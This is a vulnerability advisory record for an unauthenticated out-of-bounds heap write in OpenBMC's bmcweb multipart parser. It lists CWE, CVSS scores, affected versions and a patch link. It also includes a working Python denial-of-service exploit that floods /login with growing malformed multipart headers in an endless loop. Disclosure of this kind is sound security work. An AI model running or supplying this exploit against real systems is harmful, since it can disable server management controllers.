title: Unauthenticated out of bounds heap write in bmcweb
description: A vulnerability in bmcweb of OpenBMC Project allows user to cause denial of service. When fuzzing the multipart_parser code using AFL++ with address sanitizer enabled to find smallest memory corruptions possible. It detected problem in how multipart_parser handles unclosed http headers. If long enough http header is passed in the multipart form without colon there is one byte overwrite on heap. It can be conducted multiple times in a loop to cause DoS.
problem types: CWE-229: Improper Handling of Values
affected:
{
vendor: OpenBMC Project
product: OpenBMC
versions:
version: 2.10, status: affected, lessThan: Release*, versionType: custom, changes: [at: 2.13, status: unaffected]
}
metrics:
cvssV3_1: [
version: 3.1
vectorString: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: NONE
userInteraction: NONE
scope: UNCHANGED
confidentialityImpact: NONE
integrityImpact: LOW
availabilityImpact: HIGH
baseScore: 8.2
baseSeverity: HIGH
]
exploits: import socket
import ssl
import time
HOST = "" # PROVIDE HOSTNAME or IP ADDRESS OF TARGET BMCWEB
PORT = 443
length = 322
additional = ""
payload = """POST /login HTTP/1.1\r\nHost: <HOST-IP-ADDR-HERE>:8080\r\nUser-Agent: curl/7.58.0\r\nAccept: */*\r\nContent-Length: %s\r\nContent-Type: multipart/form-data; boundary=---------------------------d74496d66958873e\r\n\r\n-----------------------------d74496d66958873e\r\nt-DiPpcccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccgccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc%s\r\n\r\n"""
if __name__ == "__main__":
while(True):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
client = ssl.wrap_socket(client, cert_reqs=ssl.CERT_NONE)
client.connect((HOST, PORT))
toSend = payload % (str(length), additional)
print(toSend)
client.send(toSend.encode('utf-8'))
print(client.recv(4096))
client.close()
time.sleep(0.01)
length += 1
additional += "a"
solutions: https://gerrit.openbmc.org/c/openbmc/bmcweb/+/56796